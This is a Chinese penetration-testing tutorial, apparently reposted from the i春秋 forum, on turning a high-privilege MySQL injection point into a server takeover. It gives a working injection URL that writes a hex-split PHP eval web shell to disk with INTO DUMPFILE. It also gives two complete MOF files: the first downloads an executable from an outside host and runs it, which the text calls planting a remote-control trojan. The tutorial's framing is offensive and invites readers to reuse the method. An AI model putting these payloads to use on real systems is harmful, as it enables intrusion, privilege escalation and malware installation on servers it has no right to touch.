來自i春秋作者:Binghe

前言:

滲透測試所遇的情況瞬息萬變,以不變應萬變無謂是經驗與技巧的整合

簡介:

如下

mysql注入點如果權限較高的話,再知道web物理目錄說明這個站勝券在握。 可以直接 ––os-shell拿到交互的cmd和一個小馬 然而上述對應下圖的例子屬于萬分僥幸。

如果不知道物理路徑,我們還可以

select host,user,password from mysql.user;

讀取root密碼用navicat連上去提權,不要問我為什么不直接用–sql-shell,你自己試試便知道。

然而讀出來的是mysql的hash ,破解不出來,便只能讀網站admin數據進后臺,就像:

讀出來admin數據還不一定能解出來密碼 后臺還不一定找得到 找到后臺還不一定能傳馬 傳了馬還不一定能提權。。。 那么,問題來了,這個注入點還有價值么???這便是本文討論的要點。 答案當然是有的。方法大家也許都用過只是沒有綜合使用:

Mysql導出文件條件

1 Root權限(其實并非root不可 ,具備insert權限即可)

2 可寫目錄(即使是system權限,用驅動限制也沒法寫)

我們不希望導出的數據因存在轉義字符等問題而不完整,一般采用hex和unhex編碼之后再導出。

  1. SELECT HEX(‘binghesec,test!’),查詢的結果為:62696e6768657365632c7465737421?
  2. SELECTUNHEX(‘62696e6768657365632c7465737421’),查詢的結果為:binghesec,test!?
  3. 還可以直接讀取16進制的字符,在字符串前加0x前導: SELECT 0x62696e6768657365632c7465737421,查詢結果為:binghesec,test!?

眾所周知在mysql注入點執行union聯合查詢需要和它本身的查詢匹配字段數(一致),如某個數字型注入點有5個字段,一般是select 1,2,3,4,0x(文件hex)導出,文件頭多個1234,如果導出的是php,文件可以正常使用,mof和exe等就不行。若注入類型為字符等,可用萬能的null來匹配,select null,null,null,null,0x(文件hex),文件頭又多了4個null,如何解決? 科普可知如果想導出完整原樣的文件需要分段合成,例:

php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(‘5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;

如何拆分呢,且看: 如果通過order判斷得知存在5個字段,那么便將一句話木馬分成5份,那么如果是50個字段你可以把一句話分成50份,什么?一句話不到50位?你就不能動動腦子么? 這樣不是一句話么?

<?php @eval($_POST['1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111']);?>

然后分別把5段進行hex加密

一句話就變成了這幾段

3c3f70687020
40
6576616c2824
5f504f5354
5b2762696e676865736563275d293b3f3e

把這每段前面加上0x或者用unhex函數還原,按次序放在注入語句的select后面執行即可

php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(‘5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;

聽到這里不知道你有沒有想打我的沖動,你特么講了半天就講了mysql導出一句話木馬?還加密來加密去的?? 額,你要這要想我就笑了,你可以直接select一句話木馬內容到指定目錄,您能select一個大馬?一個mof? 況且我們在討論不知道web物理路徑的情況,亂寫個一句話,那不叫shell。此法通用。接著看: Mysql注入點種馬的幾種方法

  1. 導出hta vbs bat exe等到啟動項或開機會加載腳本的地方 此方法需要目標機器重啟…若無法讓管理員重啟將無效 服務器上存在殺軟的話,導出可執行文件估計直接攔截
  2. 計劃任務(實戰測試本地配的腳本丟到目標機完全無效)
  3. UDF提權 (有條件執行create等函數才能執行命令) 有時候注入點長度限制也不定能把整個udf導過去
  4. MOF提權(完美解決以上3種方法的缺陷,直接種馬)

mof提權我想我不必多言 我們的淫蕩思路便是:

  1. 拆分 ‘下載者mof’ 文件的代碼為hex再合并導出
  2. 拆分運行exe的mof文件的代碼為hex再合并導出

下載者mof文件如下:

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "VBScript";
ScriptText ="Set Post = CreateObject(\"Msxml2.XMLHTTP\")\nSet Shell = CreateObject(\"Wscript.Shell\")\nPost.Open \"GET\",\"http://192.168.85.130/m.exe\",0\nPost.Send()\nSet aGet = CreateObject(\"ADODB.Stream\")\naGet.Mode = 3\naGet.Type = 1\naGet.Open()\naGet.Write(Post.responseBody)\naGet.SaveToFile \"C:\\WINDOWS\\Temp\\ftp.exe\",2\nShell.Run (\"C:\\WINDOWS\\Temp\\binghesec.exe\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

下載好了還需要運行的mof

#pragma namespace("\\\\.\\root\\subscription")[/align][align=left]
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"c:\\windows\\temp\\binghesec.exe\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

保存為mof文件用工具轉換成16進制再用上述方法在注入點分割執行導出到系統mof目錄就ok 參考上文說的mof提權,注意導出目錄為C:\WINDOWS\system32\wbem\mof\ 如果mof沒問題就會下載我們的遠控木馬到指定的目錄

此只為一種利用方法.

總結:

僅是一個小思路,在權限較高且沒有web目錄、破解不出mysql的hash、破解不出后臺數據或者找不到后臺的情況下適用,至于導出的文件,可以是mof,當然也可以是lpk,當然還可以是。。。,自行利用

本文來源:http://bbs.ichunqiu.com/thread-9903-1-1.html?From=paper


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/20/